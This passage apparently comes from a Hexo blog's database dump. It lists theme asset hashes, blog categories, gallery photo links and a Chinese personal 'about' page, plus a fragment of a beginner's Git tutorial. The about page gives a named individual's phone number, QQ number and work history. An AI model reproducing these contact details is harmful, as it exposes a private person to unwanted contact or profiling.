e/css/prettify/atelier-seaside-dark.min.css","hash":"e0e6bbacc75a349b1e49c236d374b0e42f1fd485","modified":1517370288410},{"_id":"themes/material/source/css/prettify/atelier-seaside-light.min.css","hash":"732750b75389c1c49204f37705e6abeee40ce64f","modified":1517370288410},{"_id":"themes/material/source/css/prettify/atelier-sulphurpool-dark.min.css","hash":"015a35dddaee153fa8bb71d7f3818a6ba4d120d8","modified":1517370288410},{"_id":"themes/material/source/css/prettify/atelier-sulphurpool-light.min.css","hash":"ab1a6200eab648cab443c3df77fde9b237ef27b6","modified":1517370288410},{"_id":"themes/material/source/css/prettify/github-v2.min.css","hash":"57630621d20842a529bdea7b17fc90f520e562ef","modified":1517370288411},{"_id":"themes/material/source/css/prettify/github.min.css","hash":"19cf828225288fa5c006f1d8f66c39d11f4ef7f2","modified":1517370288411},{"_id":"themes/material/source/css/prettify/hemisu-dark.min.css","hash":"a671248cfd573292026d2174817e82e593691052","modified":1517370288411},{"_id":"themes/material/source/css/prettify/hemisu-light.min.css","hash":"b2556ff41e513fd13d032ec84a37ee260a905815","modified":1517370288412},{"_id":"themes/material/source/css/prettify/tomorrow-night-blue.min.css","hash":"c442728d96485bcf816151fe6bd96993aae09852","modified":1517370288412},{"_id":"themes/material/source/css/prettify/tomorrow-night-bright.min.css","hash":"cf251fd3edfd736695272a0f1b41d509b7bb1fb9","modified":1517370288412},{"_id":"themes/material/source/css/prettify/tomorrow-night-eighties.min.css","hash":"6ce259d674bb4edda23eea32b2379be17d0e0e6e","modified":1517370288413},{"_id":"themes/material/source/css/prettify/tomorrow-night.min.css","hash":"d989206d124035494acb4b0cdc7fbc89f3b7d108","modified":1517370288413},{"_id":"themes/material/source/css/prettify/tomorrow.min.css","hash":"b2c6d610b77f0273fefab5aa4ad26a7f58956f87","modified":1517370288413},{"_id":"themes/material/source/css/prettify/tranquil-heart.min.css","hash":"0f6eefbdda8e410832e9c516a5dd19899217ef06","modified":1517370288413},{"_id":"themes/material/source/css/prettify/vibrant-ink.min.css","hash":"c265bac6c31cf622b536b29c8a6bc46955d6fe63","modified":1517370288414},{"_id":"themes/material/source/fonts/FontAwesome.otf","hash":"048707bc52ac4b6563aaa383bfe8660a0ddc908c","modified":1517370288418},{"_id":"themes/material/source/fonts/MaterialIcons-Regular.eot","hash":"26fb8cecb5512223277b4d290a24492a0f09ede1","modified":1517370288419},{"_id":"themes/material/source/fonts/fontawesome-webfont.eot","hash":"d980c2ce873dc43af460d4d572d441304499f400","modified":1517370288455},{"_id":"themes/material/source/fonts/fontawesome-webfont.ttf","hash":"13b1eab65a983c7a73bc7997c479d66943f7c6cb","modified":1517370288461},{"_id":"themes/material/source/img/footer/footer_ico-facebook.svg","hash":"74b3b3c6bd1d76b7eaaf75d36ac929b11a5a3e82","modified":1517370288466},{"_id":"themes/material/source/img/footer/footer_ico-github.svg","hash":"5f1f9f53e6a87ad674108c6bd16e424a1e888c61","modified":1517370288467},{"_id":"themes/material/source/img/footer/.DS_Store","hash":"df2fbeb1400acda0909a32c1cf6bf492f1121e07","modified":1517378008683},{"_id":"themes/material/source/img/footer/footer_ico-instagram.svg","hash":"294c511e62063ea49f61e23958ab27d643ba0228","modified":1517370288467},{"_id":"themes/material/source/img/footer/footer_ico-linkedin.svg","hash":"9831c86352ec5ff283a3277d033120f86388c277","modified":1517370288467},{"_id":"themes/material/source/img/footer/footer_ico-telegram.svg","hash":"413d66e40ca476deeb49364935d49d2f7839cdfd","modified":1517370288468},{"_id":"themes/material/source/img/footer/footer_ico-tumblr.svg","hash":"11daf4fa4220787306fc21a879429e98b7db8d03","modified":1517370288468},{"_id":"themes/material/source/img/footer/footer_ico-twitter.svg","hash":"58df7777d6fcee8fa3c42453c091714bb3f97c95","modified":1517370288469},{"_id":"themes/material/source/img/footer/footer_ico-v2ex.svg","hash":"c5ffaf67a97e534c266d1585a9a3b56f1bfe3052","modified":1517370288469},{"_id":"themes/material/source/img/footer/footer_ico-weibo.svg","hash":"26d0cdb77f0c4afd60111176167eacfa222bc4c1","modified":1517370288469},{"_id":"themes/material/source/img/footer/footer_ico-zhihu.svg","hash":"d3f8da320fffefc5144822665dfe17d25af4061c","modified":1517370288470},{"_id":"themes/material/source/img/footer/footer_ico-gplus.svg","hash":"b50274133ab263bcacdf729871d0446b615ac984","modified":1517370288467},{"_id":"themes/material/source/img/gallery/arrow.svg","hash":"144d73877e52acc5068bc0c9d1e69ef450e69f26","modified":1517370288470},{"_id":"themes/material/source/img/gallery/close.svg","hash":"2690088060811f01c9360df75be80070156ff176","modified":1517370288470},{"_id":"themes/material/source/img/gallery/spinner.svg","hash":"fc9d1cd1118ac896d4f5326e110a653f3ea32b11","modified":1517370288471},{"_id":"themes/material/source/img/footer/footer_ico-bilibili.svg","hash":"1a007ae30d69aa597f589edb4ee0638a9814c988","modified":1517370288466},{"_id":"themes/material/source/img/random/material-10.png","hash":"363466a376e4df9e61acc904cd25f3c7ae1a7280","modified":1517370288473},{"_id":"themes/material/source/img/random/.DS_Store","hash":"df2fbeb1400acda0909a32c1cf6bf492f1121e07","modified":1517377855302},{"_id":"themes/material/source/img/random/material-12.png","hash":"d020b3d42542715c7ae95b3d8603fe3180bfe8f3","modified":1517370288475},{"_id":"themes/material/source/img/random/material-17.png","hash":"ece82810e31f711576db598c845c3d97bd49fe67","modified":1517370288479},{"_id":"themes/material/source/img/random/material-19.png","hash":"768ed1a4966e2e418cb00f6b36d2fc9058328eb3","modified":1517370288480},{"_id":"themes/material/source/img/random/material-3.png","hash":"848eaa70b9b0cd7a2204c78e8aa324d8f96bb097","modified":1517370288482},{"_id":"themes/material/source/img/random/material-6.png","hash":"2f841e0c064fecb607ad1e149662a0c96d9e725d","modified":1517370288483},{"_id":"themes/material/source/img/random/material-8.png","hash":"57db542d526ef6866cb34e261096e93a0e6f3a82","modified":1517370288485},{"_id":"themes/material/source/img/random/material-9.png","hash":"840319c4d1f38fb8df79eb4669ed2e14d89fd680","modified":1517370288485},{"_id":"themes/material/source/img/random/material-4.png","hash":"b475dfbf67a076a4e17a5527fd1973b1d4adac07","modified":1517370288482},{"_id":"themes/material/source/js/gallery/gallery.js","hash":"8ee48312a183b42a9886211a0ec825ea0d041301","modified":1517370288488},{"_id":"themes/material/layout/_widget/comment/livere/common.ejs","hash":"da39a3ee5e6b4b0d3255bfef95601890afd80709","modified":1517370288390},{"_id":"themes/material/layout/_widget/comment/valine/common.ejs","hash":"da39a3ee5e6b4b0d3255bfef95601890afd80709","modified":1517370288391},{"_id":"themes/material/source/img/random/material-1.png","hash":"4839299eaa4db7272befa7b824e54b647fbbfc44","modified":1517370288472},{"_id":"themes/material/source/img/random/material-11.png","hash":"ce20b0ad08a248c036115374f2edb7301ff60b72","modified":1517370288474},{"_id":"themes/material/source/img/random/material-13.png","hash":"1a8378db3121b583485e2b939cb1aa0e0b14b0c8","modified":1517370288476},{"_id":"themes/material/source/img/random/material-14.png","hash":"b4f65b601960138c69f57171b0ddd55895483f45","modified":1517370288477},{"_id":"themes/material/source/img/random/material-15.png","hash":"36b9937cf3810e4970902b78797ad29b0831f065","modified":1517370288477},{"_id":"themes/material/source/img/random/material-16.png","hash":"ade7f75200d3fb38326e3cf1e9f1a812fb12a43b","modified":1517370288478},{"_id":"themes/material/source/img/random/material-2.png","hash":"faba2ce69c19d6c1dac392dd10b054e0061f6fb7","modified":1517370288481},{"_id":"themes/material/source/img/random/material-18.png","hash":"4b98204abe36ecd3f30678d2c22059130e0db328","modified":1517370288480},{"_id":"themes/material/source/img/random/material-7.png","hash":"5c49ff3c064aaeb21227c2bd98b5ae422ddca84c","modified":1517370288484},{"_id":"themes/material/source/img/random/material-5.png","hash":"5041ebd073a139c67f8ed271e74c967c7eb9c5be","modified":1517370288483},{"_id":"themes/material/.git/logs/refs/heads/master","hash":"c88511a9d262d83c53ce9c60d74f2f66ef69f599","modified":1517370288356},{"_id":"themes/material/.git/refs/remotes/origin/canary","hash":"2ef1c9fa7627cc5cada9fe26923bcd9d6ac40534","modified":1527046792898},{"_id":"themes/material/.git/refs/remotes/origin/HEAD","hash":"d9427cda09aba1cdde5c69c2b13c905bddb0bc51","modified":1517370288352},{"_id":"themes/material/.git/objects/pack/pack-672eb9b05fbbba9095452025a35a9e1623c815b4.idx","hash":"33c1631588c11ba6c98e5ea813e56804dcbe0190","modified":1517370288323},{"_id":"themes/material/layout/_widget/comment/changyan/common.ejs","hash":"40e1fc76d6b7f64e226693fb2fe1a6bb17bae245","modified":1517370288386},{"_id":"themes/material/layout/_widget/comment/changyan/enter.ejs","hash":"e3cfb4f37ea35457f112f3e822e130c930086497","modified":1517370288386},{"_id":"themes/material/layout/_widget/comment/changyan/main.ejs","hash":"77539ff32cc9d1204b848e01b5277fff5cbd61e0","modified":1517370288386},{"_id":"themes/material/layout/_widget/comment/disqus/common.ejs","hash":"c11cfceb0906a96399dede5da01ff7fe4787f8a5","modified":1517370288386},{"_id":"themes/material/layout/_widget/comment/disqus/enter.ejs","hash":"39192034766349e47967da63184f9104fdded2ab","modified":1517370288387},{"_id":"themes/material/layout/_widget/comment/disqus/main.ejs","hash":"21e0eeff664191b818d7a0071ae7edcdfc270442","modified":1517370288387},{"_id":"themes/material/layout/_widget/comment/disqus_click/common.ejs","hash":"d243f576b366a62191066459efcc6fd0ab79d00a","modified":1517370288387},{"_id":"themes/material/layout/_widget/comment/disqus_click/enter.ejs","hash":"d82f0296f8bae25223ec44e6e05b817d3a234884","modified":1517370288388},{"_id":"themes/material/layout/_widget/comment/disqus_click/main.ejs","hash":"f53de208ca46c669a868a1922488e39509c6fe3b","modified":1517370288388},{"_id":"themes/material/layout/_widget/comment/gitalk/common.ejs","hash":"f739897518011e1b3de7807c8c5d734984711282","modified":1517370288388},{"_id":"themes/material/layout/_widget/comment/gitalk/enter.ejs","hash":"4d70d76465469a57def29a221962a5520fb34ebe","modified":1517370288388},{"_id":"themes/material/layout/_widget/comment/gitalk/main.ejs","hash":"1ee7a7b2b9b5ae8c4fa8c4b09c7973b9e085bdf2","modified":1517370288389},{"_id":"themes/material/layout/_widget/comment/gitment/common.ejs","hash":"9c6c8d1b448c32afb01c2d0351e87f4d4a17ec3c","modified":1517370288389},{"_id":"themes/material/layout/_widget/comment/gitment/enter.ejs","hash":"46d904fde9233694b95c6a3d91b9a2b7a6805850","modified":1517370288389},{"_id":"themes/material/layout/_widget/comment/gitment/main.ejs","hash":"e622660eda38cda05847aadc2a3e31a228fc519b","modified":1517370288390},{"_id":"themes/material/layout/_widget/comment/livere/enter.ejs","hash":"194b7bb581a3b8608a7ab135b6953d7908f51cc8","modified":1517370288390},{"_id":"themes/material/layout/_widget/comment/livere/main.ejs","hash":"1c4be9ba104a8cbcc11d45f11bf8cfe7704b93a5","modified":1517370288390},{"_id":"themes/material/layout/_widget/comment/valine/enter.ejs","hash":"ab528aad46237d9e7f1c5b4b2b310dd628b2de63","modified":1517370288391},{"_id":"themes/material/layout/_widget/comment/valine/main.ejs","hash":"3d5d8559e6ad4ffb58a61d96439b2718eb9999b6","modified":1517370288391},{"_id":"themes/material/.git/logs/refs/remotes/origin/HEAD","hash":"c88511a9d262d83c53ce9c60d74f2f66ef69f599","modified":1517370288352},{"_id":"themes/material/.git/logs/refs/remotes/origin/canary","hash":"d9f89cea71a5c0a36219ecf4f60af0347c714516","modified":1527046792899},{"_id":"themes/material/source/fonts/fontawesome-webfont.svg","hash":"98a8aa5cf7d62c2eff5f07ede8d844b874ef06ed","modified":1517370288459},{"_id":"themes/material/source/fonts/Roboto-Black.ttf","hash":"0244e6497a51fb8a38ca7e6fe297b066e2e09af5","modified":1517370288427},{"_id":"themes/material/source/fonts/Roboto-Light.ttf","hash":"b9ea2eaf26ff8fdcb5aee3e0c2c7a6084ebb6aac","modified":1517370288437},{"_id":"themes/material/source/fonts/Roboto-Bold.ttf","hash":"d1864343b543978bd491d40c80010cea50c1b7bf","modified":1517370288432},{"_id":"themes/material/source/fonts/Roboto-Medium.ttf","hash":"3965419aab480c184f66bc5e39c1719a373a4ef6","modified":1517370288442},{"_id":"themes/material/source/fonts/Roboto-Regular.ttf","hash":"06691e103d4d3ce1f1108d9b7d21254b714a41f8","modified":1517370288447},{"_id":"themes/material/source/fonts/Roboto-Thin.ttf","hash":"ed5101c3a800f35e925603a406e0c2dc5278b96c","modified":1517370288452},{"_id":"themes/material/source/img/avatar.png","hash":"5ac95a1c27dc32a311bc937aa699f457d4ec0c00","modified":1497518020000},{"_id":"themes/material/.git/objects/pack/pack-672eb9b05fbbba9095452025a35a9e1623c815b4.pack","hash":"f7b955c6234fef98f282411c65f0f29425ad10fb","modified":1517370288320}],"Category":[{"name":"音乐","_id":"cjhiu2y2z0004vzqh0677nevh"},{"name":"版本管理","_id":"cjhiu2y3w000bvzqh1q2cw49c"},{"name":"web前端","_id":"cjhiu2y4f000ivzqhgk3rc015"},{"name":"JS","_id":"cjhiu2y4w000tvzqh9jcy8ixq"},{"name":"本地储存","_id":"cjhiu2y51000zvzqh8av1zfga"},{"name":"CSS","_id":"cjhiu2y560017vzqhb9euinnl"},{"name":"HTML","_id":"cjhiu2y5a001evzqhbqd2lref"},{"name":"APP","_id":"cjhiu2y5h001lvzqh0lka6dsg"},{"name":"博客搭建","_id":"cjhiu2y5k001qvzqh16jdyeqd"},{"name":"nodeJS","_id":"cjhiu2y5o001yvzqhhrgyfoeo"},{"name":"代理","_id":"cjhiu2y5x002hvzqh38b5k9w1"},{"name":"数据库","_id":"cjhiu2y65002uvzqhqy41m590"},{"name":"storage","_id":"cjhiu2y6c0037vzqhcc9m7clf"},{"name":"生活","_id":"cjhiu2y6g003gvzqh4212ugm1"},{"name":"服务器","_id":"cjhiu2y6k003nvzqhm5n7oimd"},{"name":"web项目","_id":"cjhiu2y6o003uvzqhw57whtpz"},{"name":"IDE","_id":"cjhiu2y6s0040vzqh8meh1b45"},{"name":"vue","_id":"cjhiu2y70004gvzqhxv0ow0jk"},{"name":"安全","_id":"cjhiu2y7o005mvzqh7csvrpz5"},{"name":"阅读","_id":"cjhiu2y7p005rvzqh2fwxn7ja"}],"Data":[{"_id":"links","data":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}}},{"_id":"gallery","data":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}],"Page":[{"title":"个人简介","date":"2017-06-15T11:12:44.000Z","_content":"\n姓名:江志雄\n性别:你猜\n专业:软件工程\n\n### 工作经历\n* 南昌·午逅科技\n\n 任务职责:完成移动端 H5 页面开发\n\n 工作目的:还原设计师给的设计稿,调整兼容性问题\n > 2017.06 -- 2017.09\n\n* 杭州·机蜜\n 任务职责:前端业务,公共工具开发\n > 2017.10 -- 至今\n\n### 个人作品\n* [vue仿QQ音乐](https://github.com/j710328466/vue-qqmusic)\n* [水灵](http://jzxer.cn/water/)\n* 微信小程序:蛋糕定制demo(未完成。。。)\n\n### 技术栈\n前端\n* Vuejs React \n* JavaScript(ES5 ES6) \n* HTML5 CSS/CSS3 \n* SASS(SCSS)\n* 熟悉各种框架(bootstrap, semantic-ui, mint-ui, element-ui等)\n\n后端\n* Nodejs(ExpressJS,KoaJS)\n\n数据库\n* MongoDB\n\n自动化构建\n* webpack gulp parcel\n\n版本管理\n* GIT SVN\n\n目前学习计划\n> 基于vue的SSR框架nuxt\n> nodeJS / koa2\n\n### 兴趣爱好\n> 看书 \n> 健身\n> 摇滚乐 (靠 “谱”)\n\n### 自我介绍\n本⼈是软件⼯程学⽣. 喜欢折腾爱好音乐沉迷前端能独立思考解决问题性格貌似还不错 (读完很累吧~)\n* tag \n> 行动派: 认准一件事就会全力以赴,不达目的不罢休\n> 艺术派:前端工程师能将艺术与编程完美结合的一种职业, so, 热爱它吧\n### 联系方式\n> qq: 710328466\n> tel: 15216030330(中午和晚上一般都关机,我要睡觉...)\n> [blog](http://blog.jzxer.cn/)\n\n{% aplayer \"初学者\" \"薛之谦\" \"http://orjedzer5.bkt.clouddn.com/%E5%88%9D%E5%AD%A6%E8%80%85.mp3\" \"autoplay\" %}\n","source":"about/index.md","raw":"---\ntitle: 个人简介\ndate: 2017-06-15 19:12:44\n---\n\n姓名:江志雄\n性别:你猜\n专业:软件工程\n\n### 工作经历\n* 南昌·午逅科技\n\n 任务职责:完成移动端 H5 页面开发\n\n 工作目的:还原设计师给的设计稿,调整兼容性问题\n > 2017.06 -- 2017.09\n\n* 杭州·机蜜\n 任务职责:前端业务,公共工具开发\n > 2017.10 -- 至今\n\n### 个人作品\n* [vue仿QQ音乐](https://github.com/j710328466/vue-qqmusic)\n* [水灵](http://jzxer.cn/water/)\n* 微信小程序:蛋糕定制demo(未完成。。。)\n\n### 技术栈\n前端\n* Vuejs React \n* JavaScript(ES5 ES6) \n* HTML5 CSS/CSS3 \n* SASS(SCSS)\n* 熟悉各种框架(bootstrap, semantic-ui, mint-ui, element-ui等)\n\n后端\n* Nodejs(ExpressJS,KoaJS)\n\n数据库\n* MongoDB\n\n自动化构建\n* webpack gulp parcel\n\n版本管理\n* GIT SVN\n\n目前学习计划\n> 基于vue的SSR框架nuxt\n> nodeJS / koa2\n\n### 兴趣爱好\n> 看书 \n> 健身\n> 摇滚乐 (靠 “谱”)\n\n### 自我介绍\n本⼈是软件⼯程学⽣. 喜欢折腾爱好音乐沉迷前端能独立思考解决问题性格貌似还不错 (读完很累吧~)\n* tag \n> 行动派: 认准一件事就会全力以赴,不达目的不罢休\n> 艺术派:前端工程师能将艺术与编程完美结合的一种职业, so, 热爱它吧\n### 联系方式\n> qq: 710328466\n> tel: 15216030330(中午和晚上一般都关机,我要睡觉...)\n> [blog](http://blog.jzxer.cn/)\n\n{% aplayer \"初学者\" \"薛之谦\" \"http://orjedzer5.bkt.clouddn.com/%E5%88%9D%E5%AD%A6%E8%80%85.mp3\" \"autoplay\" %}\n","updated":"2018-01-25T11:56:44.000Z","path":"about/index.html","comments":1,"layout":"page","_id":"cjhiu2y2f0001vzqhrvlfsd6c","content":"
姓名:江志雄
性别:你猜
专业:软件工程
南昌·午逅科技
\n任务职责:完成移动端 H5 页面开发
\n工作目的:还原设计师给的设计稿,调整兼容性问题
\n\n\n2017.06 – 2017.09
\n
杭州·机蜜
任务职责:前端业务,公共工具开发
\n\n2017.10 – 至今
\n
前端
\n后端
\n数据库
\n自动化构建
\n版本管理
\n目前学习计划
\n\n\n基于vue的SSR框架nuxt
\n
nodeJS / koa2
\n\n看书
\n
健身
摇滚乐 (靠 “谱”)
本⼈是软件⼯程学⽣. 喜欢折腾爱好音乐沉迷前端能独立思考解决问题性格貌似还不错 (读完很累吧~)
\n\n\n行动派: 认准一件事就会全力以赴,不达目的不罢休
\n
艺术派:前端工程师能将艺术与编程完美结合的一种职业, so, 热爱它吧
\n\nqq: 710328466
\n
tel: 15216030330(中午和晚上一般都关机,我要睡觉…)
blog
姓名:江志雄
性别:你猜
专业:软件工程
南昌·午逅科技
\n任务职责:完成移动端 H5 页面开发
\n工作目的:还原设计师给的设计稿,调整兼容性问题
\n\n\n2017.06 – 2017.09
\n
杭州·机蜜
任务职责:前端业务,公共工具开发
\n\n2017.10 – 至今
\n
前端
\n后端
\n数据库
\n自动化构建
\n版本管理
\n目前学习计划
\n\n\n基于vue的SSR框架nuxt
\n
nodeJS / koa2
\n\n看书
\n
健身
摇滚乐 (靠 “谱”)
本⼈是软件⼯程学⽣. 喜欢折腾爱好音乐沉迷前端能独立思考解决问题性格貌似还不错 (读完很累吧~)
\n\n\n行动派: 认准一件事就会全力以赴,不达目的不罢休
\n
艺术派:前端工程师能将艺术与编程完美结合的一种职业, so, 热爱它吧
\n\nqq: 710328466
\n
tel: 15216030330(中午和晚上一般都关机,我要睡觉…)
blog
\n\ngit config –global user.name “名字”
\n
git config –global user.email “邮箱”
这是你连接的必要部分,就相当于账号的登录密码,有这个你才能对GitHub上的项目进行操作
\n\n\nssh-keygen -t rsa -C “710328466@qq.com“
\n
进入首页,新建一个repository
\n填写相应信息
\n Repository name: 仓库名称\n\n Description(可选): 仓库描述介绍\n\n Public, Private : 仓库权限(公开共享,私有或指定合作者)\n Initialize this repository with a README: 添加一个README.md\n\n gitignore: 不需要进行版本管理的仓库类型,对应生成文件.gitignore\n\n license: 证书类型,对应生成文件LICENSE\n
#
\n\n\n这个步骤以后你的本地项目文件夹下面就会多出个文件夹,该文件夹名即为你github上面的项目名,如图我多出了个yourItem文件夹,我们把本地项目文件夹下的所有文件(除了新多出的那个文件夹不用),其余都复制到那个新多出的文件夹下
\n
git add . (添加所有文件)
\n\n\ngit add readme.md
\n
git commit -m “信息”
\ngit push -u origin master 将本地文件上传到git仓库
\n\n\n如果push -u….报错,你就改成git pull –rebase origin master,重新push就可以了
\n
添加到缓存
\n\n\n查看该项目改变的文件
\n\n
\n- git status
\n
\n\n默认是暂未缓存的改动,这个可以查自己目前版本和上一个版本的改动位置
\n
\n\n查看已缓存的改动
\n
\n\n查看已缓存与未缓存的所有改动
\n
\n\n显示摘要而非整个diff
\n
\n\n将条目从缓存区中移除
\n
\n\n用于移动或重命名一个文件,目录
\ngit add README\ngit mv README README.md\nls\n
\n\n后面加单词,即是创建分支: git branch day1
\n
\n\ngit branch -d testing
\n
\n\n切换分支
\n
\n\n创建新分支并切换到该分支下
\n
\n\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩